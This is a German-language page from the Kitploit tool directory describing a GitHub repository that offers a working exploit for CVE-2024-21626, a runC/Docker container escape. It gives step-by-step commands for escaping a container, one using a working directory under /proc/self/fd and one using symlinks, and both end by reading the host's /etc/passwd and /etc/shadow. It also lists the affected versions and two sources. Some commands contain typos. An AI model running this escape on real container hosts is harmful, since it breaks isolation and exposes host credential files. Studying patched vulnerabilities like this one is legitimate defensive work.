Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/flojboj/cve-2024-21626
Privilege EscalationContainer-SicherheitSchwachstellenanalyseExploitationCloud-SicherheitContainer-Ausbruch
GitHubflojboj/cve-2024-21626

CVE-2024-21626

Funktionierender Exploit für CVE-2024-21626, ein runC/Docker-Container-Escape durch einen Symlink-Angriff auf das Arbeitsverzeichnis, der Zugriff auf das Host-Dateisystem ermöglicht.

Repository anzeigen
11vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-21626

Exploit (Arbeitsverzeichnis)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

  • Wichtig ist, -w /proc/self/fd/8 zu setzen\
  • Greifen Sie auf das Host-Dateisystem zu, indem Sie cat ../../../../../../../../../etc/passwd im Container ausführen

Exploit (Symlink)

  1. docker run --name cve-2024-21626 --rm --it debian:bootworm
  2. Im Container - ln -sf /proc/self/fd/7/ /foo
  3. Im Container - ln -sf /proc/self/fd/8/ /bar
  4. docker exec -it -w /bar cve-2024-21626 sleep 120
  5. Im Container - ls -F /proc
  6. Im Container - cat /proc/9/cmdline (finden Sie die PID des sleep-Befehls)
  7. Im Container - cat /proc/9/cwd/../../../../../etc/shadow

Betroffene Versionen

  • runC: >= 1.0.0-rc93 und <= 1.1.11.
  • containerd: >= 1.4.7 und <= 1.6.27, und >= 1.7.0 a <= 1.7.12.
  • Docker: behoben in 25.0.2

Quelle

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626

Tool herunterladen